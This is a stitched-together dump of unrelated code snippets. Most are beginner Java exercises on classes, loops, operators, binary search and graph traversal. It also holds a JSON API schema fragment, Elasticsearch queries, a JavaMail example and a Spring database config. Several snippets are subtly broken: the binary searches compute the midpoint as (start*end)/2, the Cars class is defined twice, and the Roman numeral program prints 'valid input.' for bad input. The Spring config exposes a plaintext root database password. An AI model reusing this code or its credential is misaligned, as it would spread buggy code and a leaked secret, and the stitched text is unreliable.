Car drove 90 miles
ModelX odometer displays 90 miles
Autopilot is switched on
Car drove 50 miles
*/

public class Wrangler extends Car {
    
    boolean carDoors = true;
    
    public void takeOffDoors() {
        carDoors = false;
        System.out.println("Doors are taken off");
    }
    
    public void putBackDoors() {
        carDoors = true;
        System.out.println("Doors are back");
    }
}

public class ModelX extends Car {
 
    boolean autoPilot = false;
 
    public void switchAutopilotOn() {
        autoPilot = true;
        System.out.println("Autopilot is switched on");
    }
    
    public void switchAutopilotOff() {
        autoPilot = false;
        System.out.println("Autopilot is switched off");
    }
}

public class Car {
 
    int odometer = 0;
    
    public void drive( int miles) {
        System.out.println("Car drove " + miles + " miles");
        odometer = odometer + miles;
    }
}

public class Main {
    public static void main(String[] args) {

        Cars azatCar = new Cars("Mazda", "blue",2005);
        azatCar.brand = "Mazda" ;
        azatCar.year = 2005 ;
        azatCar.color = "blue" ;

        Cars someOtherCar = new Cars ("BMW", "black") ;
        someOtherCar.color = "black" ;
        someOtherCar.year = 2020 ;
        someOtherCar.brand = "BMW" ;

        System.out.println(someOtherCar.brand);
        azatCar.accelerate() ;
        azatCar.headlightsOn() ;
        azatCar.headlightsOff() ;
        System.out.println ("odometer is equal to " + azatCar.return0dometer(100000) + " miles");
    }
}
/* Output:
BMW
Car is accelerating
Car's headlights are on
Car's headlights are off
odometer is equal to 100000 miles
*/

public class Cars {
  
    String brand;
    String color;
    int year;
  
    public Cars (String carBrand, String carColor, int carYear) {
        brand = carBrand;
        color = carColor;
        year = carYear;
    }
  
    public Cars (String carBrand, String carColor) {
        brand = carBrand;
        color = carColor;
    }
  
    public void accelerate() {
        System.out.println("Car is accelerating");
    }
  
    public void headlightsOn() {
        System.out.println("Car's headlights are on");
    }
  
    public void headlightsOff() {
        System.out.println("Car's headlights are off");
    }
  
    public int return0dometer(int odometerValue) {
        return odometerValue;
    }
}

public class Cars {
  
    public void accelerate() {
        System.out.println("car is accelerating");
    }
    public void headlightsOn() {
        System.out.println("car's headlights are on");
    }
    public void headlightsOff() {
        System.out.println("car's headlights are off");
    }
    public int return0dometer(int odometerValue) {
        return 10000;
    }
}

//1. Write a program that reads an integer between 1 and 9 and displays the roman version (I, II, : : :, IX) of that integer.

Answer 1:

public static void main(String[] args) {
		
		Scanner input = new Scanner(System.in);
		System.out.println("Enter Number between 1 _ 9: ");
		int number = input.nextInt();
		
		if(number==1) {
			System.out.println("Roman Version of " + number + " is I.");
		}
		else if (number==2) {
			System.out.println("Roman Version of " + number + " is II."); }
		else if (number==3) {
			System.out.println("Roman Version of " + number + "  is III."); }
		else if (number==4) {
			System.out.println("Roman Version of " + number + "  is IV."); }
		else if (number==5) {
			System.out.println("Roman Version of " + number + "  is V. "); }
		else if (number==6) {
			System.out.println("Roman Version of " + number + " is VI."); }
		else if (number==7) {
			System.out.println("Roman Version of " + number + "  is VII."); }
		else if (number==8) {
			System.out.println("Roman Version of " + number + "  is VIII."); }
		else if (number==9) {
			System.out.println("Roman Version of " + number + "  is IX."); }
		else
			System.out.println("valid input.");
	}
}

Q 2: Write a program which displays a menu of a burger house, asks the choice of the user and displays the cost. In the implementation use switch-case.
  
  Answer 2:
  
  Scanner input = new Scanner(System.in);
		System.out.println("Menu: ");
		System.out.println("Enter C for Cheeseburger: ");
		System.out.println("Enter H for Hot dog: ");
		System.out.println("Enter L for Lemonade: ");
		System.out.println("Enter T for Iced Tea: ");
		
		System.out.println("Enter Your Choice: ");
		String choice = input.nextLine();
		
		
		switch(choice) {
			case "c": System.out.println("Price of Chesseburger is $7.49."); break;
			case "h": System.out.println("Price of Hot dog is $6.99."); break;
			case "l": System.out.println("Price of Lemonade is $2.50."); break;
			case "t": System.out.println("Price of Iced Tea is $2.75."); break;
			
			default: System.out.println("Unrecognized menu item.");
		}
	}
}

Q 3: Write a program that generates 50 random integers between 1-6 and counts the occurrence of number 4. In the implementation use while loop.
 
 Answer 3:
 int count = 0, freq4 = 0;
		while(count < 50) {
			
			int num = (int) (Math.random() * 6 +1);
			if(num==4)
				freq4 = freq4 + 1;
			count = count + 1;
		}
		System.out.println("Number 4: " + freq4 + " times generated.");
	}
}

Q 4: Write a program that prompts the user to enter the number of students and each student’s score.  Then your program displays the class average and the highest score. In the implementation use for loop.
 
Answer 4:

		Scanner input = new Scanner(System.in);
		System.out.println("Enter number of students:");
		int stuNo = input.nextInt();
		
		int i =0;
		int sum = 0; 
		int max = 0;
		for( i =0; i<stuNo; i++) {
			System.out.println("Enter the Grade of the student: " + (i+1));
			int grade = input.nextInt();
			sum = sum + grade;
			if(grade>max)
				max =grade;
		}
		double avg = (double)sum /stuNo;
		System.out.println("Class average " + avg + " & maximum grade is " + max + " at student " + i);
	}
}   //OUTPUT: 
Enter number of students:
4
Enter the Grade of the student: 1
50
Enter the Grade of the student: 2
60
Enter the Grade of the student: 3
80
Enter the Grade of the student: 4
77
Class average 66.75 & maximum grade is 80at student 4


Q 5: Write a method named maxThreeints that takes three integers as arguments and returns the the value of the largest one.

public static int maxThreeints(int a, int b, int c)
// this method calculates and returns the max value

Complete the program with main method, which asks the user to enter three numbers , invokes maxThreeints method and displays the result.
 Answer 5:
 Scanner input = new Scanner(System.in);
		System.out.println("Enter Three Numbers:");
		System.out.println("Enter Number 1: ");
		int a = input.nextInt();
		System.out.println("Enter Number 2: ");
		int b = input.nextInt();
		System.out.println("Enter Number 3: ");
		int c = input.nextInt();
		
		int max = maxThreeints(a,b,c);
		System.out.println("The Largest value is " + max);
		
	}
	public static int maxThreeints(int a, int b, int c) {
		
		if(a >= b && a >= c)
			return a;
		else if(b >= a && b >= c)
			return b;
		else 
			return c;
	}
}
//OUTPUT:
Enter Three Numbers:
Enter Number 1: 
33
Enter Number 2: 
44
Enter Number 3: 
55
The Largest value is 55

    public class Main {
        public static void main (String[] args) {

            Cars azatFirstCar = new Cars();
            azatFirstCar.brand = "Mazda" ;
            azatFirstCar.year = 2005 ;
            azatFirstCar.color = "blue" ;

            Cars azatSecondCar = new Cars () ;
            azatSecondCar.color = "black" ;
            azatSecondCar.year = 2020 ;
            azatSecondCar.brand = "BMW" ;

            System.out.println(azatFirstCar.brand);
            System.out.println(azatSecondCar.brand);
        }
    }
/* Output:
Mazda
BMW
*/

public class Cars {

    String brand;

    String color;

    int year;

}

import java.util.Scanner;  // Import the Scanner class

public class Main {
    public static void main(String[] args) {

        Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        System.out.println("Enter your zip code:");

        int zipCode = userInput.nextInt();  // Read user input
        System.out.println("Zip code: " + zipCode);  // Output user input
    }
}
/* Output:
Enter your zip code:
90232
Zip code: 90232
*/

import java.util.Scanner;  // Import the Scanner class

public class Main {
    public static void main(String[] args) {
      
        Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        System.out.println("Enter email:");

        String emailAddress = userInput.nextLine();  // Read user input
        System.out.println("Email is: " + emailAddress);  // Output user input
    }
}
/* Output:
Enter email:
student@testpro.io
Email is: student@testpro.io
*/

import java.util.Scanner;  // Import the Scanner class

public class Main {
 
        public static void main(String[] args) {
            Scanner userInput = new Scanner(System.in);  // Create a Scanner object
        }
    }

public class Main {
    public static void main(String[ ] args) {

        try {

            int firstNumber = 5;
            int secondNumber = 0;
            int quotient = firstNumber / secondNumber;

            System.out.println(quotient); // error!
        }

        catch (Exception e){
            System.out.println("We can't divide a number by 0!");
        }

        finally {
            System.out.println("Our 'try catch' example is finished.");
        }
    }
}
/* Output:
We can't divide a number by 0!
Our 'try catch' example is finished.
*/

public class Main {
    public static void main(String[ ] args) {
        
        try {
            
            int firstNumber = 5;
            int secondNumber = 0;
            int quotient = firstNumber / secondNumber;
            System.out.println(quotient); // error!
        }
        
    catch (Exception e){
            System.out.println("We can't divide a number by 0!");
        }
    }
}
// Output: We can't divide a number by 0!

public class Main {
    public static void main(String[ ] args) {

        int firstNumber = 5;
        int secondNumber = 0;

        int quotient = firstNumber / secondNumber;

        System.out.println(quotient); // error!
    }
}
/* Output:
Exception in thread "main" java.lang.ArithmeticException: / by zero
	at org.example.Main.main(Main.java:8)
*/

try {
  //  Block of code to run
}
catch(Exception e) {
  //  Block of code to handle errors
}

public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                continue;
            }
            System.out.println(i);
        }
    }
}
/* Output:
0
1
2
3
5
6
7
8
9
*/

public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 10; i++) {
            if (i == 4) {
                break;
            }
            System.out.println(i);
        }
    }
}
/* Output:
0
1
2
3
*/

public class Main {
        public static void main(String[] args) {

            int weeks = 2;
            int weekDays = 5;

            // outer loop prints weeks
            for (int i = 1; i <= weeks; ++i) {
                System.out.println("Week: " + i);

                // inner loop prints weekdays
                for (int j = 1; j <= weekDays; ++j) {
                    System.out.println("  Day: " + j);
                }
            }
        }
    }
/* Output:
Week: 1
  Day: 1
  Day: 2
  Day: 3
  Day: 4
  Day: 5
Week: 2
  Day: 1
  Day: 2
  Day: 3
  Day: 4
  Day: 5
*/

public class Main {
    public static void main(String[] args) {

        // outer loop
        for (int i = 1; i <= 5; ++i) {
            // code to be executed

            // inner loop
            for (int j = 1; j <= 2; ++j) {
                // code to be executed

            }
        }
    }
}

package org.example;
public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 5; i++) {

            if (i == 3) {
                System.out.println("The value of i is " +i );
            }

        }
    }
}
// Output: The value of i is 3

public class Main {
    public static void main(String[] args) {

        for (int i = 0; i < 5; i++) {

            System.out.println("We love Java!");

        }
    }
}
/* Output:
We love Java!
We love Java!
We love Java!
We love Java!
We love Java!
*/

public class Main {
    public static void main(String[] args) {
      
        int i = 0;
        do {
            System.out.println("int i is equal to " +i);
            i++;
        }
        while (i < 5);
    }
}
/* Output:
int i is equal to 0
int i is equal to 1
int i is equal to 2
int i is equal to 3
int i is equal to 4
*/

public class Main {
    public static void main(String[] args) {

        int i = 0;
        while (i < 11) {
            System.out.println("int i is equal to " + i);
            i++;
        }
    }
}
/* Output: 
int i is equal to 0
int i is equal to 1
int i is equal to 2
int i is equal to 3
int i is equal to 4
int i is equal to 5
int i is equal to 6
int i is equal to 7
int i is equal to 8
int i is equal to 9
int i is equal to 10
*/

public class Main {
    public static void main(String[] args) {

        String browserType = "chrome";

        // Switch-case statement to select a browser
        switch (browserType) {
            case "chrome":
                System.out.println("Selected browser: Chrome");
                break;
            case "firefox":
                System.out.println("Selected browser: Firefox");
                break;
            case "ie":
                System.out.println("Selected browser: Internet Explorer");
                break;
            default:
                System.out.println("Unsupported browser type: " + browserType);
        }
    }
}
// Output: Selected browser: Chrome

public class Main {
    public static void main(String[] args) {
      
        boolean enrolledInAutomationClass = true; 
        boolean notEnrolledInAutomationClass = !enrolledInAutomationClass;

        System.out.println("Is the student enrolled in the automation class? " + notEnrolledInAutomationClass);
    }
}
// Output: Is the student enrolled in the automation class? false

public class Main {
    public static void main(String[] args) {

        boolean hasAccessCard = true;
        boolean hasSecurityClearance = false;

        boolean canEnterRestrictedArea = hasAccessCard || hasSecurityClearance;

        System.out.println("Can the user enter the restricted area? " + canEnterRestrictedArea);
    }
}
// Output: Can the user enter the restricted area? true

public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 7;

        boolean notEqual = a != b;
        System.out.println("a != b is " + notEqual);
    }
}
// Output: a != b is true

public class Main {
    public static void main(String[] args) {

        String username = "admin";
        String password = "password";
        boolean isLoginSuccessful = username.equals("admin") && password.equals("password");

        System.out.println("Login successful: " + isLoginSuccessful);
    }
}
// Output: Login successful: true

public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 5;

        boolean equalTo = a == b;
        System.out.println("a == b is " + equalTo);
    }
}
// Output: a == b is true

public class Main {
    public static void main(String[] args) {

        int a = 20;
        int b = 20;
      
        boolean greaterThanOrEqual = a >= b;
        System.out.println("a >= b is " + greaterThanOrEqual);
    }
}
// Output: a >= b is true

public class Main {
    public static void main(String[] args) {

        int a = 15;
        int b = 12;

        boolean greaterThan = a > b;
        System.out.println("a > b is " + greaterThan);
    }
}
// Output: a > b is true

public class Main {
    public static void main(String[] args) {
      
        int a = 10;
        int b = 10;
      
        boolean lessThanOrEqual = a <= b;
        System.out.println("a <= b is " + lessThanOrEqual);
    }
}
// Output: a <= b is true

public class Main {
    public static void main(String[] args) {

        int a = 5;
        int b = 10;

        boolean lessThan = a < b;
        System.out.println("a < b is " + lessThan);
    }
}
// Output: a < b is true

public class Main {
    public static void main(String[] args) {

     	String myFirstString = "Hello Test Pro Student!";
     
        System.out.println(myFirstString.toLowerCase());
    }
}
// Output: hello test pro student!

public class Main {
    public static void main(String[] args) {
 
     String myFirstString = "Hello Test Pro Student!";
 
        System.out.println(myFirstString.contains("Test Pro1"));
    }
}
// Output: false

public class Main {
    public static void main(String[] args) {
 
        String myFirstString = "Hello Test Pro Student!";
 
        System.out.println(myFirstString.contains("Test Pro"));
    }
}
// Output: true

public class Main {
    public static void main(String[] args) {

        String myFirstString = "Hello Test Pro Student!";

        System.out.println(myFirstString);
    }
}
// Output: Hello Test Pro Student!

public class Main {
    public static void main(String[] args) {
 
        String testpro1 = "TestPro";
        String testpro2 = "TestPro";
 
        System.out.println(testpro1.equals(testpro2));
    }
}
// Output: true

public class Main {
    public static void main(String[] args) {

        int a = 7;
        int b = 7;

        System.out.println(a == b);
    }
}
// Output: true

Write a method that takes 2 integers as input parameters, computes and returns their greatest common divisor (GCD).
The greatest common divisor of a set of whole numbers is the largest integer which divides them all.
Example: The greatest common divisor of 12 and 15. 
Divisors of 12: 1, 2, 3, 4, 6, 12
Divisors of 15: 1, 3, 5, 15
Common divisors: 1, 3
Greatest common divisor is 3
gcd(12,15)=3



public static void main(String[] args) {
		
		Scanner scanner = new Scanner(System.in);
		System.out.println("Enter first integer:");
		int n1 = scanner.nextInt();
		
		System.out.println("Enter secon d integer:");
		int n2 = scanner.nextInt();
		
		System.out.println("The greatest common divisor for " + n1 + " and " + n2 + " is " + gcd(n1,n2));
	}
	
	public static int gcd (int n1, int n2) {
		int gcd = 1;
		int k = 1;
		while(k <= n1 && k <= n2) {
			if(n1 % k ==0 && n2 % k ==0)
				gcd = k;
			k++;
		}
		return gcd;
	}
	
}

Write a program that generates 60 random integers in interval [0,100]. Your program computes the average of the numbers that are divisible by 3.

public static void main(String[] args) {
		
		int sum=0, count=0;
		
		 for(int i=1; i<=60; i++) {
			 
	     int num = (int) (Math.random()*101);      
		  
	     if(num%3==0) {
	       sum = sum+num; 
	       count = count+1;
	     }
		}
		 double avg=(double)sum/count;
		 System.out.println("Average: "+ avg);	
	 }
}

Scanner input = new Scanner(System.in);
		System.out.println("Enter Your Choice:");
		int choice = input.nextInt();
		
		switch(choice) {
		
		   case 1: System.out.println("Günaydin"); break;
		   case 2: System.out.println("Good morning"); break;
		   case 3: System.out.println("Bonjour"); break;
		   case 4: System.out.println("Guuten Morgen"); break;
		   
		   default:System.out.println("invalid input");
		}

import java.util.Scanner;

public class example {

	public static void main(String[] args) {
		
		int number1 = (int) (Math.random() * 10);
		int number2 = (int) (Math.random() * 10);
		
		System.out.println("What is " +number1 + " * " + number2 + "?");
		Scanner scanner = new Scanner(System.in);
		int answer = scanner.nextInt();
		
		if(number1 * number2 ==answer)
			System.out.println("You are correct");
		else
			System.out.println("your answer is Wrong\n" +number1 + " * " + number2 + " should be " + (number1 * number2));
		
	}

}

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_Name":{"type":"string"},"status":{"type":"string"},"tanggal_Batas_Setoran_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Batas_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Mulai_Berlaku":{"$ref":"#/definitions/Timestamp"},"type":{"type":"string","enum":["UK","UL"]}},"title":"PecahanRequest"},"PecahanRequestUpdate":{"type":"object","properties":{"emission_Year":{"type":"integer","format":"int32"},"id":{"type":"integer","format":"int32"},"nominal":{"type":"integer","format":"int64"},"nominal_Code":{"type":"string"},"path_Back_Content":{"type":"string"},"path_Back_Content_Type":{"type":"string"},"path_Back_Ext":{"type":"string"},"path_Back_Name":{"type":"string"},"path_Front_Content":{"type":"string"},"path_Front_Content_Type":{"type":"string"},"path_Front_Ext":{"type":"string"},"path_Front_Name":{"type":"string"},"status":{"type":"string"},"tanggal_Batas_Setoran_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Batas_Tidak_Berlaku":{"$ref":"#/definitions/Timestamp"},"tanggal_Mulai_Berlaku":{"$ref":"#/definitions/Timestamp"},"type":{"type":"string","enum":["UK","UL"]}},"title":"PecahanRequestUpdate"},"PenukaranKasTipApproverRequest":{"type":"object","properties":{"approveOrRejectBy":{"type":"string"},"penukaranKasTitipanId":{"type":"integer","format":"int64"},"status":{"type":"string","enum":["DISETUJUI","DITOLAK","MENUNGGU_APPROVAL"]}},"title":"PenukaranKasTipApproverRequest"},"PenukaranKasTipRequest":{"type":"object","properties":{"base64File":{"type":"string"},"fileNameExtension":{"type":"string"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanId":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"size":{"type":"number","format":"double"},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"},"uangKeluar":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}},"uangMasuk":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}}},"title":"PenukaranKasTipRequest"},"PenukaranKasTipSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"status":{"type":"string","enum":["DISETUJUI","DITOLAK","MENUNGGU_APPROVAL"]},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"}},"title":"PenukaranKasTipSearchRequest"},"PenukaranKasTipUangRequest":{"type":"object","properties":{"ammount":{"type":"integer","format":"int64"},"macamEmisi":{"type":"string","enum":["UK","UL"]},"macamEmisiDetail":{"type":"string"},"pecahan":{"type":"integer","format":"int32"},"tahunEmisi":{"type":"integer","format":"int32"},"tipeEmisi":{"type":"string","enum":["ULE","UTLE"]}},"title":"PenukaranKasTipUangRequest"},"PenukaranKasTipUpdateRequest":{"type":"object","properties":{"base64File":{"type":"string"},"fileNameExtension":{"type":"string"},"jumlahModalPenukaran":{"type":"integer","format":"int64"},"jumlahPenukar":{"type":"integer","format":"int64"},"kasTitipanId":{"type":"integer","format":"int64"},"kasTitipanName":{"type":"string"},"penukaranKasTitipanId":{"type":"integer","format":"int64"},"size":{"type":"number","format":"double"},"tanggalPenukaran":{"type":"string","example":"dd-MM-yyyy"},"tempatPenukaran":{"type":"string"},"uangKeluar":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}},"uangMasuk":{"type":"array","items":{"$ref":"#/definitions/PenukaranKasTipUangRequest"}}},"title":"PenukaranKasTipUpdateRequest"},"RequestId":{"type":"object","required":["id"],"properties":{"id":{"type":"object"}},"title":"RequestId"},"RoleRequest":{"type":"object","properties":{"Name":{"type":"string"}},"title":"RoleRequest"},"RoleUpdate":{"type":"object","properties":{"role_name":{"type":"string","description":"Name"},"roleid":{"type":"integer","format":"int32","description":"RoleId"}},"title":"RoleUpdate"},"RolesPage":{"type":"object","properties":{"entriesPerPage":{"type":"integer","format":"int32"},"name":{"type":"string"}},"title":"RolesPage"},"RunningTextAktifRequest":{"type":"object","required":["destination"],"properties":{"destination":{"type":"string"},"text":{"type":"string"}},"title":"RunningTextAktifRequest"},"RunningTextRequest":{"type":"object","properties":{"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"startDate":{"type":"string","example":"dd-MM-yyyy"}},"title":"RunningTextRequest"},"RunningTextSearchRequest":{"type":"object","properties":{"EntriesPerPage":{"type":"integer","format":"int32"},"PageNo":{"type":"integer","format":"int32"},"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"startDate":{"type":"string","example":"dd-MM-yyyy"},"status":{"type":"boolean"}},"title":"RunningTextSearchRequest"},"RunningTextUpdateRequest":{"type":"object","properties":{"content":{"type":"string"},"destination":{"type":"string"},"endDate":{"type":"string","example":"dd-MM-yyyy"},"runningTextId":{"type":"integer","format":"int64"},"startDate":{"type":"string","example":"dd-MM-yyyy"},"status":{"type":"boolean"}},"title":"RunningTextUpdateRequest"},"Timestamp":{"type":"object","properties":{"date":{"type":"integer","format":"int32"},"hours":{"type":"integer","format":"int32"},"minutes":{"type":"integer","format":"int32"},"month":{"type":"integer","format":"int32"},"nanos":{"type":"integer","format":"int32"},"seconds":{"type":"integer","format":"int32"},"time":{"type":"integer","format":"int64"},"year":{"type":"integer","format":"int32"}},"title":"Timestamp"},"TokenRequest":{"type":"object","properties":{"token":{"type":"string","description":"token"}},"title":"TokenRequest"},"UserMenuRequest":{"type":"object","properties":{"MenuUrl":{"type":"string","description":"MenuUrl"}},"title":"UserMenuRequest"},"UserPage":{"type":"object","properties":{"email":{"type":"string"},"entriesPerPage":{"type":"integer","format":"int32"},"isActive":{"type":"boolean"},"isLdap":{"type":"boolean"},"name":{"type":"string"},"nip":{"type":"string"},"noHp":{"type":"string"},"orgName":{"type":"string"},"pageNo":{"type":"integer","format":"int32"},"roleName":{"type":"string"},"satuanKerja":{"type":"string"},"userId":{"type":"integer","format":"int32"},"workUnit":{"type":"string"}},"title":"UserPage"},"UserRequest":{"type":"object","required":["email","imageUrl","isLdap","jabatan","name","nip","noHp","organizationCode","roleId","workUnit"],"properties":{"bank":{"type":"string"},"email":{"type":"string"},"imageUrl":{"type":"string"},"isActive":{"type":"boolean"},"isLdap":{"type":"boolean"},"jabatan":{"type":"string"},"name":{"type":"string"},"nip":{"type":"string"},"noHp":{"type":"string"},"organizationCode":{"type":"string"},"roleId":{"type":"integer","format":"int32"},"satuanKerja":{"type":"string"},"wilayahKerjaId":{"type":"integer","format":"int32"},"workUnit":{"type":"string"}},"title":"UserRequest"},"UserUpdate":{"type":"object","properties":{"bank":{"type":"string"},"email":{"type":"string","description":"email"},"imageUrl":{"type":"string","description":"imageUrl"},"isActive":{"type":"boolean","description":"isActive"},"isLdap":{"type":"boolean","description":"isLdap"},"jabatan":{"type":"string","description":"jabatan"},"name":{"type":"string","description":"name"},"nip":{"type":"string","description":"nip"},"noHp":{"type":"string","description":"noHp"},"organizationCode":{"type":"string","description":"organizationCode"},"roleId":{"type":"integer","format":"int32","description":"roleId"},"userId":{"type":"integer","format":"int32","description":"userId"},"wilayahKerjaId":{"type":"integer","format":"int32"},"workUnit":{"type":"string","description":"workUnit"}},"title":"UserUpdate"}}}

// Java Program to print pattern
// Number triangle pattern
import java.util.*;

public class GeeksForGeeks {
	// Function to demonstrate pattern
	public static void printPattern(int n)
	{
		int i, j;
		// outer loop to handle number of rows
		for (i = 1; i <= n; i++) {
			// inner loop to print space
			for (j = 1; j <= n - i; j++) {
				System.out.print(" ");
			}
			// inner loop to print star
			for (j = 1; j <= i; j++) {
				System.out.print(i + " ");
			}
			// print new line for each row
			System.out.println();
		}
	}

	// Driver Function
	public static void main(String args[])
	{
		int n = 6;
		printPattern(n);
	}
}

class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");

}
}

import java.util.Properties;
import javax.mail.*;
import javax.mail.internet.*;

public class SendEmail {
    public static void main(String[] args) {
        final String username = "your_email@example.com";
        final String password = "your_password";

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.example.com"); // Replace with your SMTP server
        props.put("mail.smtp.port", "587"); // Port number may vary

        Session session = Session.getInstance(props, new Authenticator() {
            protected PasswordAuthentication getPasswordAuthentication() {
                return new PasswordAuthentication(username, password);
            }
        });

        try {
            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress("your_email@example.com")); // Replace with your email
            message.setRecipients(Message.RecipientType.TO, InternetAddress.parse("recipient@example.com")); // Replace with recipient's email
            message.setSubject("Test Email");
            message.setText("This is a test email sent using JavaMail.");

            Transport.send(message);

            System.out.println("Email sent successfully.");
        } catch (MessagingException e) {
            System.out.println("Email sending failed. Error: " + e.getMessage());
        }
    }
}

{
  "track_total_hits": true, 
  "size": 0,
  "query": {
    "bool": {
      "must": [
        {
          "term": {
            "bot_id.keyword": {
              "value": "633319bebf9aad75e25db951"
            }
          }
        },
        {
          "exists": {
            "field": "q.keyword"
          }
        }
      ]
    }
  }
}

curl --location --request GET 'http://192.168.101.42:9200/vbot_dialogs/_search' \
--header 'Content-Type: application/json' \
--data '{
    "query": {
        "bool": {
            "must": {
                "range": {
                    "begin_time": {
                        "gte": 1670778000000,
                        "lte": 1670864399000
                    }
                }
            },
            "filter": {
                "term": {
                    "bot_id": "614a99a0bf9aad37211d94c2"
                }
            }
        }
    }
}'

spring.datasource.url=jdbc:mysql://localhost:3306/javat
spring.datasource.username=root
spring.datasource.password=Tha@021103
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Drive

##Config Jpa
spring.jpa.hibernate.ddl-auto=update
spring.jpa.show-sql=true
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL5Dialect
spring.jpa.properties.hibernate.format_sql=true

implementation 'com.squareup.picasso:picasso:(insert latest version)'

class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={1,2,3,4,5,6,7,8,9,10};
        int key=8;
        int start=0;
        int end=n-1;
        int mid;
        if(arr[0]>arr[1])
        {
            System.out.println("Descending ");
            while(start<end)
            {
                mid=(start+end)/2;
                if(arr[mid]==key)
                {
                    System.out.println(/*"Element is " + key*/ " which present at index " + mid );
                    break;
                }
                else if(arr[mid]<key)
                {
                    start=mid+1;
                }
                else if(arr[mid]>key)
                {
                    end=mid-1;
                }
            }
        }
        else if(arr[0]<arr[1])
        {
            System.out.println("Ascending");
              while(start<end)
            {
                mid=(start+end)/2;
                if(arr[mid]==key)
                {
                    System.out.println(/*"Element is " + key*/ " which present at index " + mid );
                    break;
                }
                else if(arr[mid]>key)
                {
                    start=mid+1;
                }
                else if(arr[mid]<key)
                {
                    end=mid-1;
                }
            }
        }
        
    }
}

class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={10,9,8,7,6,5,4,3,2,1};
        int key=10;
        int start=0;
        int end=n-1;
       
        while(start<end)
        {
             int mid=(start*end)/2;
            if(arr[mid]==key)
            {
                System.out.println("key index is " + mid);
                break;
            }
            else if(arr[mid]<key)
            {
                end=mid-1;
            }
            else if(arr[mid]>key)
            {
                start=mid+1;
            }
            if(start>end){
                System.out.println("-1");
                
            }
        }
    }
}

class binarySearch{
    public static void main(String[] arg)
    {
        int n=10;
        int arr[]={1,2,3,4,5,6,7,8,9,10};
        int key=5;
        int start=0;
        int end=n-1;
       
        while(start<end)
        {
             int mid=(start*end)/2;
            if(arr[mid]==key)
            {
                System.out.println("key index is " + mid);
                break;
            }
            else if(arr[mid]>key)
            {
                end=mid-1;
            }
            else if(arr[mid]<key)
            {
                start=mid+1;
            }
            if(start>end){
                System.out.println("-1");
                
            }
        }
    }
}

package Graph;
import java.util.ArrayList;
import java.util.*;

public class GraphTraversal {
    public  static  class  Edge{
        int src;
        int dest;
        Edge(int src , int dest){
            this.dest=dest;
            this.src =src;
        }
    }
    static void creategraph(ArrayList<Edge> g []){
        for(int i=0;i<g.length;i++){
            g[i] = new ArrayList<>();
        }
        g[0].add(new Edge(0,1));
        g[0].add(new Edge(0,2));

        g[1].add(new Edge(1,0));
        g[1].add(new Edge(1,3));

        g[2].add(new Edge(2,0));
        g[2].add(new Edge(2,4));

        g[3].add(new Edge(3,1));
        g[3].add(new Edge(3,4));
        g[3].add(new Edge(3,5));

        g[4].add(new Edge(4,2));
        g[4].add(new Edge(4,3));
        g[4].add(new Edge(4,5));

        g[5].add(new Edge(5,3));
        g[5].add(new Edge(5,4));
        g[5].add(new Edge(5,6));

        g[6].add(new Edge(6,5));
    }


    //DFS Traversal
    public static void dfs(ArrayList<Edge> list[], boolean[] visited, int curr){
       if(visited[curr]){
           return;
       }
        System.out.println(curr);
       visited[curr] = true;
       for(int i=0;i<list[curr].size();i++){
           Edge e = list[curr].get(i);
           dfs(list,visited,e.dest);
       }
    }

    //BFS Traversal
    public static void bfs(ArrayList<Edge> list[]){
       Queue<Integer> q = new LinkedList<>();
       boolean visited[] = new boolean[list.length];

       q.add(0);

       while(!q.isEmpty()){
           int curr = q.remove();
           if(!visited[curr]) {
               System.out.println(curr);
               visited[curr] = true;
               for (int i = 0; i < list[curr].size(); i++) {
                   Edge e = list[curr].get(i);
                   q.add(e.dest);
               }
           }
       }
    }

    //Finding all possible paths from one point to another point

    public static void ALlpaths(ArrayList<Edge> list[],boolean[] visited,int src,int d,String path){
        if(src==d){
            System.out.println(path);
            return;
        }

            for (int i = 0; i < list[src].size(); i++) {
                Edge e = list[src].get(i);
                if (!visited[e.dest]) {
                    visited[e.dest] = true;
                    ALlpaths(list, visited, e.dest, d, path + e.dest);
                    visited[e.dest] = false;
                }
            }

    }

    public static void main(String[] args) {
      int V =7;
      ArrayList<Edge> list [] = new ArrayList[V];
      creategraph(list);
      boolean b [] = new boolean[V];
      int src =0;
      b[src]=true;
//      dfs(list,b,0);
        ALlpaths(list,b,src,5,""+src);
    }
}

package GreedyAlgo;

import java.util.ArrayList;

public class MinCoinsReq {
    public static void main(String[] args) {
        int arr [] = {2,5,10,20,50,100,200,500};
        int n =987;

        int count=0;
        ArrayList<Integer> a =new ArrayList();
